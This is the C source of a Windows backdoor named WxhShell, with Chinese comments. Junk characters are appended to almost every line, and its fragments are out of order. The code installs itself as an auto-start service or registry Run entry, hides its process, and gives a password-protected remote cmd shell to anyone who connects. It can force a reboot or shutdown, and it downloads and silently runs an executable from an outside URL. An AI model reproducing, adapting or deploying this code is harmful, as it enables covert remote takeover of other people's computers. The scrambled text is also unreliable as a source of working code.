    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':3KZ4/C  
    else { 2X_ef  
    closesocket(wsh); 6tguy  
    ExitThread(0); c^y 1s*  
    } _rd{cvdR  
    break; xJCpWU3wM  
    } 7}k8-:a%  
  // 获取shell C#>C59  
  case 's': { tUQ)q  
    CmdShell(wsh); 7_,gAE:kG  
    closesocket(wsh); [@6iStRg7  
    ExitThread(0); }^muAr  
    break; e^yB9b  
  } jxvVp*-=<j  
  // 退出 nP^$p C  
  case 'x': { Npqbxb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %:*HzYf  
    CloseIt(wsh); ,"o \_{<z  
    break; H^G*5EQK  
    } I?QKd@  
  // 离开 /V&Y@j  
  case 'q': { kN)ev?pQ[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GSp1,E2J  
    closesocket(wsh); e 3K  
    WSACleanup(); g5)VV"  
    exit(1); iweP3u##  
    break; #82B`y<<y/  
        } hlRE\YO&8R  
  } n[@Ur2&)  
  } 9!LAAE`  
jJ|;Nwm<[  
  // 提示信息 lK-I[i!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PO&`r r  
} :"4~VDu  
  } }MNm>3  
<mN3:G  
  return; iX=*qiVX  
} ,P}c92;  
L6m'u6:1{  
// shell模块句柄 Nu'rn*Y_  
int CmdShell(SOCKET sock) 9L};vkYk#  
{ |NI0zd  
STARTUPINFO si; e\<I:7%Rg  
ZeroMemory(&si,sizeof(si)); ~J|0G6H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gsb]e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {8' 5  
PROCESS_INFORMATION ProcessInfo; Q*I/mUP&f  
char cmdline[]="cmd"; p.G7Cs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  X_lNnk  
  return 0; nB.p}k  
} $IHa]9 {  
{#vo^& B  
// 自身启动模式 (I$hw"%&  
int StartFromService(void) AF@C9s  
{ 6XP>p$-  
typedef struct tVOx  
{ nMhc3t  
  DWORD ExitStatus; .NKN2  
  DWORD PebBaseAddress; DCj!m<Y&  
  DWORD AffinityMask; !>Xx</iD1  
  DWORD BasePriority; L|<Mtw  
  ULONG UniqueProcessId; + '`RJ,K+[  
  ULONG InheritedFromUniqueProcessId; 5GKz@as8  
}   PROCESS_BASIC_INFORMATION; R:Lu)d>=  
4T:ZEvdzf  
PROCNTQSIP NtQueryInformationProcess; 4Xz|HU?  
<*[(t;i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %X3T<3<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D<MtLwH  
O%Mh g\#B  
  HANDLE             hProcess; n3(HA  
  PROCESS_BASIC_INFORMATION pbi; B4kIcHA  
O'k"6sBb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b#sO1MXv  
  if(NULL == hInst ) return 0;  ZM"t.  
:z[SI{Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <%5ny!]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M<SZ7^9<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *d=pK*g  
@c.pOX[]m,  
  if (!NtQueryInformationProcess) return 0; %lBFj/B  
}{$@|6)R   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x-[l`k.V  
  if(!hProcess) return 0; M-n +3E9  
8g3 6-8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gY%-0@g  
#r\uh\Cy  
  CloseHandle(hProcess); t4h* re+  
uB\A8zC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k20tn ew  
if(hProcess==NULL) return 0; |K]tJi4fz  
y0 xte&  
HMODULE hMod; >">-4L17m  
char procName[255]; 139_\=5|U/  
unsigned long cbNeeded; Y9ru~&/o$  
hGsY u)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ujaaO6oZ7  
o!Y7y1$  
  CloseHandle(hProcess); MD+Q_  
+7=3[K  
if(strstr(procName,"services")) return 1; // 以服务启动 Lr`yl$6  
(uSfr]89'  
  return 0; // 注册表启动 S;Vj5  
} [ACa<U/  
um/iK}O  
// 主模块 &W1cc#(  
int StartWxhshell(LPSTR lpCmdLine) r'&VH]m  
{ ;X8eZQ  
  SOCKET wsl; #jQITS7  
BOOL val=TRUE; lyP<&<Y5  
  int port=0; RJ`F2b sYN  
  struct sockaddr_in door; SJ<nAX  
0L'h5i>H)  
  if(wscfg.ws_autoins) Install(); O[!]/qP+.  
4g|}]K1s  
port=atoi(lpCmdLine); )gZ yW  
WHL@]^E@m  
if(port<=0) port=wscfg.ws_port; qTG/7tn "  
|1#*`2j\=9  
  WSADATA data; s q_ f[!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OF}vY0oiw?  
z&w@67 >j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LKhUqW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y:mXv<g  
  door.sin_family = AF_INET; V V<Zl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z\n nVM=  
  door.sin_port = htons(port); bO9X;} \6  
o<Q~pd#Ip,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wh,p$|vL  
closesocket(wsl); `rvS(p[s  
return 1; {q:6;yzxl  
} uZCPxog  
L+&$/1h]  
  if(listen(wsl,2) == INVALID_SOCKET) { zpJQ7hym  
closesocket(wsl); Zv-#v  
return 1; q.*k J/L  
} _G@)Bj^*  
  Wxhshell(wsl); 3:s!0ty"  
  WSACleanup(); G22u+ua  
'vBuQinn  
return 0; o^mW`g8[  
#>}cuC@  
} A\LMmg  
Q/I/>6M7UZ  
// 以NT服务方式启动 H>% K}Fh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pa+%H]vB  
{ {;q zz9 |  
DWORD   status = 0; cJMp`DQzc  
  DWORD   specificError = 0xfffffff; Nzf tc  
) }(Po_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 51xiX90D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w=,bF$:fIW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S/V%<<[>p]  
  serviceStatus.dwWin32ExitCode     = 0; 1GE[*$vuq  
  serviceStatus.dwServiceSpecificExitCode = 0; =XVw{\#9 b  
  serviceStatus.dwCheckPoint       = 0; + JsMYv  
  serviceStatus.dwWaitHint       = 0; bZLY#g7L"  
-a !?%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y2cYRHN[X}  
  if (hServiceStatusHandle==0) return; !#3v<_]#d  
*jM]:GpyoU  
status = GetLastError(); f["c,,[  
  if (status!=NO_ERROR) ^? }-x  
{ 1N,</<"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qx|~H'UuBN  
    serviceStatus.dwCheckPoint       = 0; \(C6|-:GY  
    serviceStatus.dwWaitHint       = 0; UyENzK<%u  
    serviceStatus.dwWin32ExitCode     = status; ~ 6DaM!  
    serviceStatus.dwServiceSpecificExitCode = specificError; &sJ-&7YZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mb,\wZ  
    return; vhvFBx0  
  } }Y:V&4DW  
%g:6QS|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; shKTj5s?  
  serviceStatus.dwCheckPoint       = 0; $Y,y~4I  
  serviceStatus.dwWaitHint       = 0; h/k00hD60  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Pt_<?JtV  
} 3N257]  
Lcb5^e?'Q  
// 处理NT服务事件,比如:启动、停止 Y7BmW+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zcGmru|k  
{ TophV}@B`  
switch(fdwControl) >cJix 1  
{ 0fu*}v"  
case SERVICE_CONTROL_STOP: VkFMr8@|  
  serviceStatus.dwWin32ExitCode = 0; cDS \=Bf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 52ExRG S  
  serviceStatus.dwCheckPoint   = 0; 0Xb,ne 7  
  serviceStatus.dwWaitHint     = 0; 2ci[L:U  
  { 6 dgwsl~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y*=sboX  
  } 7vTzY%v  
  return; z;DNl#|!L  
case SERVICE_CONTROL_PAUSE: C cPOK2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9:R3+,ZN  
  break; A*G ~#v^  
case SERVICE_CONTROL_CONTINUE: ,<k%'a!B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6%it`A8}  
  break; :CLWmMC_  
case SERVICE_CONTROL_INTERROGATE: M0yv= g  
  break; w p\-LO~  
}; Q p7h|<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1J([*)  
} =WT&unw}  
\#4mPk_"  
// 标准应用程序主函数 fqjBor}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Me79:+d  
{ S4\a"WYg  
+-C.E  
// 获取操作系统版本 F/x2}'  
OsIsNt=GetOsVer(); 4O<sE@X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R:4@a ':H  
]"}BqS0  
  // 从命令行安装 hjyM xg;Q?  
  if(strpbrk(lpCmdLine,"iI")) Install(); By waD?  
{xx}xib3  
  // 下载执行文件 "}MP{/  
if(wscfg.ws_downexe) { {]2^b)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 47N,jVt4  
  WinExec(wscfg.ws_filenam,SW_HIDE); _K}q%In  
} nrHC;R.nE  
`WIZY33V  
if(!OsIsNt) { , # =TputM  
// 如果时win9x,隐藏进程并且设置为注册表启动 s_  t/  
HideProc(); C~egF=w  
StartWxhshell(lpCmdLine); tn#cVB3  
} fLnwA|n=  
else O}>@G  
  if(StartFromService()) l^Ob60)2  
  // 以服务方式启动 |.VSw  
  StartServiceCtrlDispatcher(DispatchTable); ^s6}[LDW>@  
else }4N'as/ZO  
  // 普通方式启动 8OKG@hc  
  StartWxhshell(lpCmdLine); "4\k1H"_  
^D<CoxG  
return 0; L&c & <+0T  
} :.4O Hp1  
T%% 0W J  
D(l,Z  
6@TU9AZS `  
=========================================== A|GtF3:G  
8t Q;N'  
XwUa|"X6  
?r KbL^2  
f`:GjA,J$  
jYi,oE  
" Vm|KL3}NRv  
w i[9RD@  
#include <stdio.h> <Y."()}GeH  
#include <string.h> V:w%5'^3  
#include <windows.h> +N=HI1^54R  
#include <winsock2.h> mFg$;F  
#include <winsvc.h> +l^tT&s;f  
#include <urlmon.h> Ym 1vq=  
K(i}?9WD  
#pragma comment (lib, "Ws2_32.lib") E{EO9EI  
#pragma comment (lib, "urlmon.lib") 0u1ZU4+EC  
Gsv<Rjj:  
#define MAX_USER   100 // 最大客户端连接数 "Yh;3tI4*  
#define BUF_SOCK   200 // sock buffer H,]8[ qT<  
#define KEY_BUFF   255 // 输入 buffer 8'u9R~})   
kh9'W<tE  
#define REBOOT     0   // 重启 u Jqv@GFv  
#define SHUTDOWN   1   // 关机 o>_})WM1[  
rw,Ylr :3  
#define DEF_PORT   5000 // 监听端口 uG^CyM>R`  
^#d\HI  
#define REG_LEN     16   // 注册表键长度 AY{KxCr b^  
#define SVC_LEN     80   // NT服务名长度 *mzi ?3  
#h?I oB7  
// 从dll定义API q)i %*IY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?D6uviQg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6LBdTnzUd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jd](m:eG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \= v.$u"c  
Hl,{4%]  
// wxhshell配置信息 iqvLu{  
struct WSCFG { S[1<Qrv]  
  int ws_port;         // 监听端口 hE|P|0U,n  
  char ws_passstr[REG_LEN]; // 口令 .Q%Hi7JMi  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,c4HicRJ#  
  char ws_regname[REG_LEN]; // 注册表键名 ~f h  
  char ws_svcname[REG_LEN]; // 服务名 g3z/yj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y6nP=g|')>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0n{.96r0R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RNi%6A1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q2*A'C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -NXxxK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !HvA5'|:}  
pR$(V4>  
}; |tGUx*NN  
6N#hN)/  
// default Wxhshell configuration U?#wWbE1  
struct WSCFG wscfg={DEF_PORT, P9/ (f$=  
    "xuhuanlingzhe", ^+SE_-+]  
    1, u#,8bw?1  
    "Wxhshell", fZ$b8  
    "Wxhshell", T&lgWOls  
            "WxhShell Service", BM<q;;pO  
    "Wrsky Windows CmdShell Service", 9B!Sv/)y!r  
    "Please Input Your Password: ", mux/\TII  
  1, QWk3y"5n<  
  "http://www.wrsky.com/wxhshell.exe", YIg(^>sq  
  "Wxhshell.exe" cD0rU8x  
    }; {Sf[<I  
:~otzI4%!  
// 消息定义模块 LqbI/AQ)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vkIIuNdDlx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &"^F;z/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ca|egQv  
char *msg_ws_ext="\n\rExit."; E+aePoU  
char *msg_ws_end="\n\rQuit."; S"cTi[9  
char *msg_ws_boot="\n\rReboot..."; L}`/v]E"eU  
char *msg_ws_poff="\n\rShutdown..."; Am<5J,<uy  
char *msg_ws_down="\n\rSave to "; xU.1GI%UPu  
fzIs^(:fl  
char *msg_ws_err="\n\rErr!"; ; ~pgF_  
char *msg_ws_ok="\n\rOK!"; r[S(VPo[()  
J#I RbO)  
char ExeFile[MAX_PATH]; <E2 IU~e  
int nUser = 0; 'XK 'T\m  
HANDLE handles[MAX_USER]; g&s. 0+  
int OsIsNt; PMfW;%I.  
4yyw:"  
SERVICE_STATUS       serviceStatus; JT?u[p Q^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d=D-s  
gQ_<;'m)2  
// 函数声明 )2&3D"V  
int Install(void); tm+*ik=x|  
int Uninstall(void); pey=zR!  
int DownloadFile(char *sURL, SOCKET wsh); G?s9c0f  
int Boot(int flag); o;$xN3f,  
void HideProc(void); 'JOUx_@z  
int GetOsVer(void); ;7'O=%  
int Wxhshell(SOCKET wsl); KqK]R6>  
void TalkWithClient(void *cs); Ymz/:  
int CmdShell(SOCKET sock); gJQ#j~'  
int StartFromService(void); :W.H#@'(  
int StartWxhshell(LPSTR lpCmdLine); [Fl_R[o  
)9hqd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WC#6(H5t$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V&*IZt&  
,8e'<y  
// 数据结构和表定义 `HX:U3/  
SERVICE_TABLE_ENTRY DispatchTable[] = duaF?\vv  
{ rfqwxr45h  
{wscfg.ws_svcname, NTServiceMain}, Pk;\^DRC  
{NULL, NULL} Tn&_ >R  
}; ` ,\b_SFg  
!"N,w9MbD  
// 自我安装 /6 ')B !&  
int Install(void) ,"EaZ/Bl/  
{ 2lTt  
  char svExeFile[MAX_PATH]; }J#HIE\RG  
  HKEY key; ]l,D,d81  
  strcpy(svExeFile,ExeFile); "^#O7.oVi+  
zjmo IE  
// 如果是win9x系统,修改注册表设为自启动 P~j#8cH7  
if(!OsIsNt) { Bgxk>Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S2$66xr#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Kv6!ib6Q  
  RegCloseKey(key); # EvRm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7m2iL#5[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1#vu)a1+b  
  RegCloseKey(key); 2Re8rcQQU  
  return 0; ^B<-.(F  
    } 4fi4F1f  
  } mkSu $c  
} A (2 0+  
else { 90vWqL!  
ZFtx&vr P  
// 如果是NT以上系统,安装为系统服务 T8S&9BM7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1aAOT6h  
if (schSCManager!=0) }F>RI jj  
{ v3DK0MW  
  SC_HANDLE schService = CreateService k=s^-Eiu  
  (  ``/L18  
  schSCManager, k8s)PN  
  wscfg.ws_svcname, Cog}a  
  wscfg.ws_svcdisp, !]F`qS>  
  SERVICE_ALL_ACCESS, o@)Fy51DD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b 7sfr!t_d  
  SERVICE_AUTO_START,  "9;  
  SERVICE_ERROR_NORMAL, HxO+JI`'3  
  svExeFile, x{pj`'J)  
  NULL, {y"Kn'1  
  NULL, JLd%rM\m  
  NULL, Nw"df=,{  
  NULL, ;P S4@,  
  NULL #(tdJ<HvC|  
  ); sX"L\v  
  if (schService!=0) ntIR#fB  
  { %e:+@%]  
  CloseServiceHandle(schService); EID-ROMO  
  CloseServiceHandle(schSCManager); >g$iO`2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1)~|{X+~  
  strcat(svExeFile,wscfg.ws_svcname); lf=G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <WUgH6"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PhAfEsD  
  RegCloseKey(key); jRsl/dmy  
  return 0; |b\a)1Po:  
    } z};|.N}  
  } rZgu`5 <a  
  CloseServiceHandle(schSCManager); mZiKA-t  
} ThV>gn5  
} fM.#FT??  
XpANaqH\  
return 1; 2bCfY\k  
} ]WMzWt:L  
"mn?*  
// 自我卸载 ,1I-%6L  
int Uninstall(void) ;pm/nu  
{ N^QxqQ~  
  HKEY key; N:B<5l '  
t^&hG7L_m,  
if(!OsIsNt) { !60U^\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ndFVP;q  
  RegDeleteValue(key,wscfg.ws_regname); X@kgc&`0  
  RegCloseKey(key); 1tY+0R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tf#Op v)  
  RegDeleteValue(key,wscfg.ws_regname); ? l~qb]._  
  RegCloseKey(key); :Quep-:fy<  
  return 0; #H6YI3 `G  
  } V?OTP&+J%  
} |M?s[}ll  
} +&\. ]Pp  
else { N_92,xI#  
,~3rY,y-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^P,Pj z  
if (schSCManager!=0) "EpH02{i  
{ ,x\qYz+7|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q]1p Q)\'p  
  if (schService!=0) *$O5.`]  
  { ;8<HB1 &,  
  if(DeleteService(schService)!=0) { oLkzLJ  
  CloseServiceHandle(schService); (c0L@ 8L  
  CloseServiceHandle(schSCManager); 1 V]ws}XW  
  return 0; GG%;~4#2  
  } 8Y-*rpLy  
  CloseServiceHandle(schService); S0StC$$1  
  } B9,39rG/7+  
  CloseServiceHandle(schSCManager); b"\lF1Nf&o  
} G+fo'ThG  
} [Q:mq=<Z%  
COsy.$|4  
return 1; &yP|t":HWX  
} ^W sgAyCB  
</'n={+q  
// 从指定url下载文件 Fa h6 &a  
int DownloadFile(char *sURL, SOCKET wsh) V]Te_ >E;w  
{ NU_^*@k  
  HRESULT hr; a;bmlV04  
char seps[]= "/"; 2c]751  
char *token; RL&0?OT  
char *file; mxEe -q  
char myURL[MAX_PATH]; .<vXj QE  
char myFILE[MAX_PATH]; >-V632(/{o  
z 8M\(<  
strcpy(myURL,sURL); E-^(VZ_Xj  
  token=strtok(myURL,seps); 9Tr ceL;  
  while(token!=NULL) UB+~K/  
  { /*;a6S8q  
    file=token; 0e&&k  
  token=strtok(NULL,seps); 4IW fp&Q!  
  } <#8}![3Q  
<}RD]Sc$1  
GetCurrentDirectory(MAX_PATH,myFILE); 'C}ku>B_r  
strcat(myFILE, "\\"); -'O|D}  
strcat(myFILE, file); 2ih}?%H8  
  send(wsh,myFILE,strlen(myFILE),0); Syseiw  
send(wsh,"...",3,0); :ek^M (  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y =sae  
  if(hr==S_OK) [^GBg>k  
return 0; &3IkC(yD  
else 8VG}-   
return 1; ;1yF[<a  
,~,q 0PA7J  
} rMVcoO@3  
T-yEn&r4)  
// 系统电源模块 #yIHr&'oX  
int Boot(int flag) :Z/\U*6~  
{ '0 ~?zP  
  HANDLE hToken; W\-`}{B_/  
  TOKEN_PRIVILEGES tkp; 2ZV; GS#  
3~R,)fO;  
  if(OsIsNt) { /$clk=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @H$8;CRM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J0vQqTaT  
    tkp.PrivilegeCount = 1; P(yLRc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EKO'S+~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :LB*l5\  
if(flag==REBOOT) { Ge({sy>X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &0f/F:M  
  return 0; phG *It}  
} #|8%h  
else { vCej( ))  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CAx$A[f<  
  return 0; W%5))R$  
} I*j~5fsS'  
  } _QHk&-Lp  
  else { T}z? i  
if(flag==REBOOT) { x]`F#5j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VOC$Kqg;  
  return 0; @C^x&Sjm  
} SVZ@'X\[M  
else { :~R a}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y,L[0%  
  return 0; I@z@s}x>  
} Wm"q8-<<  
} 8.jf6   
"6IZf>N@#  
return 1; )2wf D  
} "5dke^yk0  
_t"[p_llo  
// win9x进程隐藏模块 fe<7D\Sp@  
void HideProc(void) Y=|20Y\K  
{ c2Z !Vtd  
F,)+9/S&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L_9uwua.B~  
  if ( hKernel != NULL ) $DfK}CT  
  { 117lhx].'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wQhuU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lvODhoT  
    FreeLibrary(hKernel); g]JJ!$*1  
  } 4".I*ij  
r [^.\&-  
return; ._>03,"  
} u0<yGsEGD  
|AE{rvP{@  
// 获取操作系统版本 D=vw0Q_3Y3  
int GetOsVer(void) l x;87MDs  
{ jP/Vqe%%8  
  OSVERSIONINFO winfo; z &P1C,n)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LCS.C(n,  
  GetVersionEx(&winfo); '_7rooU9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `-CN\  
  return 1; {HM[ )t0  
  else eD(5+bm  
  return 0; <z%**gP~G  
} xMQ>,nZ  
At[Q0'jkc  
// 客户端句柄模块 #?r|6<4X  
int Wxhshell(SOCKET wsl) 9[X'9* ,  
{ .czUJyFms}  
  SOCKET wsh; 2<OU)rVE4  
  struct sockaddr_in client; -z. wAp  
  DWORD myID; CV^%'HIs?+  
dHiir&Rd9`  
  while(nUser<MAX_USER) 4x-,l1NMR  
{ K%L6UQ;  
  int nSize=sizeof(client); ^S;{;c+'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T<>B5G~%  
  if(wsh==INVALID_SOCKET) return 1; ?(R#  
&qPezyt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A0@,^|]  
if(handles[nUser]==0) N2 3:+u<)E  
  closesocket(wsh); A{-S )Z3}  
else wmVb0~[  
  nUser++; Q[#8ErUY  
  } &d6ud |  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c\>I0HH;!  
9 4H')(  
  return 0; t\QLj&h}E  
} glo G_*W  
|uz<)  
// 关闭 socket B%u[gNZ  
void CloseIt(SOCKET wsh) +J{ErsG?6P  
{ _3%:m||,XP  
closesocket(wsh); Y)lr+~84f  
nUser--; ?kZ-,@h:  
ExitThread(0); 3mYW]  
} k ?6d\Q  
2`;XcY4A  
// 客户端请求句柄 1}c /l<d  
void TalkWithClient(void *cs) ~.G$0IJY  
{ mE{QTZS  
<X{w^ cT_Q  
  SOCKET wsh=(SOCKET)cs; #m UQ@X@K  
  char pwd[SVC_LEN]; >Q(\vl@N=  
  char cmd[KEY_BUFF]; 5Hj/7~ =  
char chr[1]; .H M3s  
int i,j; E(6P%(yt8  
R#ZJLT  
  while (nUser < MAX_USER) { />I5,D'h  
6y Muj<L  
if(wscfg.ws_passstr) { '3^qW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CDtL.a\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V D7^wd9  
  //ZeroMemory(pwd,KEY_BUFF); i Pr(X  
      i=0; VfJ{);   
  while(i<SVC_LEN) { GK,{$SC+=  
PX^ k;  
  // 设置超时 t@#5 G* _Q  
  fd_set FdRead; (i(E~^O  
  struct timeval TimeOut; EI?8/c  
  FD_ZERO(&FdRead); vv Y?8/  
  FD_SET(wsh,&FdRead); ,KM%/;1Dm  
  TimeOut.tv_sec=8; ` W );+s  
  TimeOut.tv_usec=0; 0e#PN@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /@ g 8MUq7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E Lq1   
`$JZJ!,A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6W3oIt  
  pwd=chr[0]; 8Vn   
  if(chr[0]==0xd || chr[0]==0xa) { 1V[ZklS  
  pwd=0; c-NUD$  
  break; &@{`{  
  } dVMl;{  
  i++; 8r[TM  
    } ?P|z,n{  
!<j4*av:G  
  // 如果是非法用户,关闭 socket +?3RC$jyw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,%x2SyA  
} G6>sAOf  
6A5.n?B{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rl0"9D87z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %YF /=l  
fk?!0M6d  
while(1) { X1}M_h %  
<W3p!  
  ZeroMemory(cmd,KEY_BUFF); 7z,  $  
@V^.eVM\R  
      // 自动支持客户端 telnet标准   $U7/w?gc'  
  j=0; sVP\EF8PY  
  while(j<KEY_BUFF) { gzVZPvTPE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P%yL{  
  cmd[j]=chr[0]; kzUj)  
  if(chr[0]==0xa || chr[0]==0xd) { Oz_CEMcy  
  cmd[j]=0; 3;}YW^oXq  
  break; q3/4l%"X  
  } yr>J^Et%_  
  j++; p}!)4EI=  
    } 5z3WRg  
3HP { a  
  // 下载文件 _a"| :kX  
  if(strstr(cmd,"http://")) { rDwd!Jet  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [{xY3WS  
  if(DownloadFile(cmd,wsh)) 6.45^'t]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xA:;wV  
  else |p+FIr+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x7l}u`N4  
  } `'r]Oe  
  else { JF}i=}  
KdHkX+-R  
    switch(cmd[0]) { }>y~P~`S:  
  !(Y|Vm'   
  // 帮助 :u=y7[I  
  case '?': { Z(4/;v <CT  
